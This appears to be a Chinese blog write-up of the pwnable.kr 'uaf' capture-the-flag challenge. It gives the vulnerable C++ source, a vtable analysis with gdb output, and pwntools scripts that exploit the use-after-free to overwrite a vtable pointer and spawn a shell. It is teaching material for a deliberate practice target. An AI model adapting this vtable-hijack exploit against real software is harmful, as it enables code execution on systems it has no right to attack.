pwnable.kr wp uaf

题目

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

题解

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

C++ pwn, 类指针delete之后, 其实指针还在, 这样就构成UAF漏洞
同C的UAF漏洞, 构建循环链表, 重复利用类指针, 实现释放后的调用, 这里问题就在于需要申请回释放后的chunk之后, 修改对应的 virtual func 指针到get_shell()
需要一点C++逆向的知识, C++类调用virtual function其实是通过虚表进行, 这里看一下函数调用的汇编

        (*(void (__fastcall **)(Human *))(*(_QWORD *)v12 + 8LL))(v12);
        (*(void (__fastcall **)(Human *))(*(_QWORD *)v13 + 8LL))(v13);

在这里插入图片描述

可以看到virtual function调用就是从虚表指针加8之后的地址索引到对应的函数introduce(), 是虚表中的第二个指针.
调试一下看看vtable的内容

Breakpoint 1, 0x0000000000400fd4 in main ()
(gdb) p $rax
$1 = 4199792
(gdb) x/2gx $rax
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
(gdb) x/5i 0x000000000040117a
   0x40117a <_ZN5Human10give_shellEv>: push   %rbp
   0x40117b <_ZN5Human10give_shellEv+1>: mov    %rsp,%rbp
   0x40117e <_ZN5Human10give_shellEv+4>: sub    $0x10,%rsp
   0x401182 <_ZN5Human10give_shellEv+8>: mov    %rdi,-0x8(%rbp)
   0x401186 <_ZN5Human10give_shellEv+12>: mov    $0x4014a8,%edi
(gdb) x/5i 0x00000000004012d2
   0x4012d2 <_ZN3Man9introduceEv>: push   %rbp
   0x4012d3 <_ZN3Man9introduceEv+1>: mov    %rsp,%rbp
   0x4012d6 <_ZN3Man9introduceEv+4>: sub    $0x10,%rsp
   0x4012da <_ZN3Man9introduceEv+8>: mov    %rdi,-0x8(%rbp)
   0x4012de <_ZN3Man9introduceEv+12>: mov    -0x8(%rbp),%rax

0x401570是虚表首地址, 里面包括两个函数的指针
0x000000000040117a get_shell
0x00000000004012d2 introduce

所以exploit只需要劫持vtpr到0x401570 - 8 = 0x401568即可调用get_shell

from pwn import *

s = ssh(host='pwnable.kr', port=2222, user='uaf', password='guest')
# context.log_level = 'debug'
# io = s.process(["./uaf", "24", "\x68\x15\x40\x00\x00\x00\x00\x00"])
io = s.process(["./uaf", "24", "/dev/stdin"])

def pwn():
    io.sendlineafter("free\n", "3")
    io.sendlineafter("free\n", "2")
    io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
    io.sendlineafter('free\n', "2")
    io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
    io.sendlineafter('free\n', "1")

if __name__ == '__main__':
    pwn()
    io.interactive()

但是远程get shell啥命令都用不了, 也是无语

改成服务器端的exp来打

from pwn import *

# s = ssh(host='pwnable.kr', port=2222, user='uaf', password='guest')
# context.log_level = 'debug'
# io = s.process(["./uaf", "24", "\x68\x15\x40\x00\x00\x00\x00\x00"])
io = process(["/home/uaf/uaf", "24", "/dev/stdin"])

def pwn():
    io.sendlineafter("free\n", "3")
    io.sendlineafter("free\n", "2")
    io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
    io.sendlineafter('free\n', "2")
    io.send("\x68\x15\x40\x00\x00\x00\x00\x00")
    io.sendlineafter('free\n', "1")

if __name__ == '__main__':
    pwn()
    io.interactive()

上传执行, 期间可能会卡顿, 多pwn几次

uaf@pwnable:/tmp$ python exp.py
[+] Starting local process '/home/uaf/uaf': pid 404405
[*] Switching to interactive mode
$ cat /home/uaf/flag
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值